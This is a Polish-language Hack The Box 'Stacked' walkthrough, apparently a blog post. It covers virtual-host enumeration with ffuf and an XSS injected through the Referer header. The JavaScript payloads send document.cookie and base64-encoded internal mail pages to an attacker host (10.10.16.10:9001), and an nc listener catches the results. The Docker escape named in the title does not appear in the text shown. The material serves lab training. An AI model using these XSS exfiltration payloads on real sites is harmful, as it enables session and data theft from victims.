Powrót do strony głównej

HTB Stacked: XSS i Docker ucieczka walkthrough

Maszyna Stacked na Hack The Box demonstruje łańcuch ataków: od vhost enumeration przez ffuf do XSS w Referer, proxy wewnętrznego serwera mailowego i RCE z ucieczką z kontenera Docker. Szczegółowo omówione polecenia nmap, gobuster, payloady i architektura LocalStack.

Ucieczka z Dockera na HTB Stacked przez XSS
Advertisement 728x90

Ucieczka z kontenera Docker poprzez XSS i RCE na HTB Stacked

Skanowanie hosta 10.129.228.28 za pomocą nmap ujawniło otwarte porty: 22 (OpenSSH 8.2p1), 80 (Apache 2.4.41) i 2376 (demon Docker z TLS). Na porcie 80 dostępna jest domena stacked.htb po dodaniu wpisu do /etc/hosts. Strona główna zawiera pole na adres e-mail bez widocznego ruchu sieciowego przy wysyłaniu.

Przeszukiwanie katalogów za pomocą gobuster z common.txt nie przyniosło rezultatów. Przejście do enumeracji hostów wirtualnych ffuf ujawniło subdomains-top1million-5000.txt z filtrem słów (-fw 18) — znaleziono portfolio.stacked.htb.

gobuster dir -u http://stacked.htb -w /usr/share/wordlists/dirb/common.txt
ffuf -u http://stacked.htb -w /usr/share/wordlists/seclists/Discovery/DNS/subdomains-top1million-5000.txt -H "Host: FUZZ.stacked.htb" -fw 18

Analiza portfolio.stacked.htb i LocalStack

Strona portfolio.stacked.htb opisuje firmę Stacked, która używa LocalStack — lokalnego emulatora usług AWS w kontenerach Docker. Dostępny jest docker-compose.yml z przekierowanymi portami:

Google AdInline article slot
  • 443 (HTTPS)
  • 4566 (API LocalStack)
  • 4571 (prawdopodobnie Elasticsearch)
  • 8080 (Interfejs webowy)
wget http://portfolio.stacked.htb/files/docker-compose.yml
docker compose up

Na dole strony podany jest rok utworzenia — potencjalny punkt zaczepienia do dalszej eksploatacji.

Wykrycie i wykorzystanie XSS

Formularz przesyłania danych osobowych na portfolio.stacked.htb odzwierciedla znaczniki HTML z komunikatem "xss detected!". Bezpośrednie wstrzyknięcie w treść żądania do /process.php nie działa nawet z podwójnym kodowaniem URL.

Testowanie nagłówków (User-Agent, Origin, Referer) wykazało podatność w Referer. Payload <script src="http://10.10.16.10/test.js"></script> został pomyślnie wykonany:

Google AdInline article slot
let req1 = new XMLHttpRequest();
req1.open('GET', 'http://10.10.16.10/cookie=' + document.cookie, false);
req1.send();

Ciasteczka są chronione przez HttpOnly. Zmiana na document.location ujawniła origin: http://mail.stacked.htb/read-mail.php?id=2.

Atak CSRF poprzez XSS dla dostępu do mail.stacked.htb

Nowy subdomena mail.stacked.htb przekierowuje zewnętrzne żądania. Przez XSS ofiary implementujemy proxy:

  • Wstrzykujemy <script src="http://10.10.16.10/exploit.js"></script>.
  • Skrypt żąda wewnętrznej strony, koduje w base64 i wysyła do attacker:9001.
let req1 = new XMLHttpRequest();
req1.onreadystatechange = function(){
    if (this.readyState == 4){
        data = btoa(req1.response);
        let req2 = new XMLHttpRequest();
        req2.open('GET', 'http://10.10.16.10:9001/page=' + data, false);
        req2.send();
    }
}
req1.open('GET', 'http://mail.stacked.htb/read-mail.php?id=1', false);
req1.send();
nc -nlvp 9001
echo -n "PD9..." | base64 -d > index.html

Skrzynka odbiorcza zawiera wiadomość od Jeremy'ego Tainta o uruchomieniu instancji S3 (id=1). CSS/obrazy nie ładują się z powodu ograniczeń sieciowych.

Google AdInline article slot

Co jest ważne

  • XSS w nagłówku Referer prowadzi do wykonania JS w kontekście ofiary.
  • Proxy base64 przez XMLHttpRequest omija ograniczenia sieciowe Dockera.
  • LocalStack docker-compose ujawnia wewnętrzne porty i architekturę.
  • Enumeracja vhost'ów jest kluczowa przy nieudanym dirbustingu.
  • Filtr ffuf po słowach (-fw) rozwiązuje problem dynamicznej zawartości błędów.

— Editorial Team

Advertisement 728x90

Czytaj dalej